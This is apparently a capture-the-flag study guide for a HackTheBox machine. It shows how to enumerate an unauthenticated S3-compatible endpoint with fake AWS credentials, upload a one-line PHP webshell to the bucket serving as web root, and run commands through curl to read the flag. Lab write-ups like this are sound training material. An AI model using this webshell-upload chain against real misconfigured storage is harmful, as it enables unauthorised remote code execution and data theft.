βοΈ Aws S3
AWS S3 (Simple Storage Service) is Amazon's object storage. Misconfigured S3-compatible endpoints β like those found in HTB β allow unauthenticated access to buckets, enabling file listing, download, and upload. This guide covers what we've practiced.
Quickstart β Enumerate & Exploit¶
# 1. Configure fake credentials (the endpoint doesn't validate them)
$ aws configure
AWS Access Key ID [None]: temp
AWS Secret Access Key [None]: temp
Default region name [None]: temp
Default output format [None]: temp
# 2. List all buckets
$ aws --endpoint=http://s3.thetoppers.htb s3 ls
# 3. List contents of a specific bucket
$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
# 4. Upload a file to the bucket
$ aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
# 5. Verify upload
$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
The Misconfiguration¶
Some HTB machines run S3-compatible storage services (not real AWS) that:
- Don't validate AWS credentials β any
access key/secret keypair works - Expose the endpoint on a subdomain (e.g.,
s3.domain.htb) - Allow anonymous listing, reading, and writing to buckets
π‘ The
--endpointflag redirects the AWS CLI to a custom server instead of Amazon's real S3. Combined with fake credentials, this lets you interact with self-hosted S3-compatible storage as if you were authenticated.
Core Commands¶
| Command | What it does |
|---|---|
aws configure |
Set up fake credentials (interactive) |
aws --endpoint=<url> s3 ls |
List all buckets |
aws --endpoint=<url> s3 ls s3://<bucket> |
List bucket contents |
aws --endpoint=<url> s3 cp <local> s3://<bucket>/<remote> |
Upload a file |
aws --endpoint=<url> s3 cp s3://<bucket>/<file> <local> |
Download a file |
Attack Chain β From Subdomain to Shell¶
Step 1 β Discover the S3 endpoint¶
Subdomain fuzzing reveals s3.domain.htb:
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://FUZZ.thetoppers.htb -ac
s3.thetoppers.htb [Status: 404, Size: 21]
Add it to /etc/hosts:
Step 2 β Enumerate the bucket¶
$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2026-06-07 11:57:24 0 .htaccess
2026-06-07 11:57:24 11952 index.php
The bucket contains the website's source code β index.php is the same file served by the main site. This means the S3 bucket is the backend storage for the web server.
Step 3 β Upload a webshell¶
$ echo '<?php system($_GET["cmd"]); ?>' > file.php
$ aws --endpoint=http://s3.thetoppers.htb s3 cp file.php s3://thetoppers.htb
upload: ./file.php to s3://thetoppers.htb/file.php
Step 4 β Execute commands¶
The uploaded PHP file is now accessible via the main website:
$ curl 'http://thetoppers.htb/file.php?cmd=whoami'
www-data
$ curl 'http://thetoppers.htb/file.php?cmd=ls%20..'
flag.txt
html
$ curl 'http://thetoppers.htb/file.php?cmd=cat%20../flag.txt'
a980d99281a28d638ac68b9bf9453c2b
π‘ Why this works: The S3 bucket serves as the web root for the main site. Any file uploaded to the bucket becomes immediately accessible via
http://domain.htb/<filename>. This is a deliberate misconfiguration β the bucket should be read-only or require authentication for writes, but anonymous upload is enabled.
Troubleshooting¶
| Error / Symptom | Likely cause |
|---|---|
aws: command not found |
Install AWS CLI: sudo apt install awscli |
Could not connect to endpoint |
S3 subdomain not in /etc/hosts |
AccessDenied |
Bucket has auth enabled β try different fake credentials |
| Uploaded file returns 404 on main site | Bucket may not be the web root, or file needs .php extension |
π Related¶
Machines: [[π₯ Three]]
Guides: [[π― ffuf]], [[π PHP Webshell]]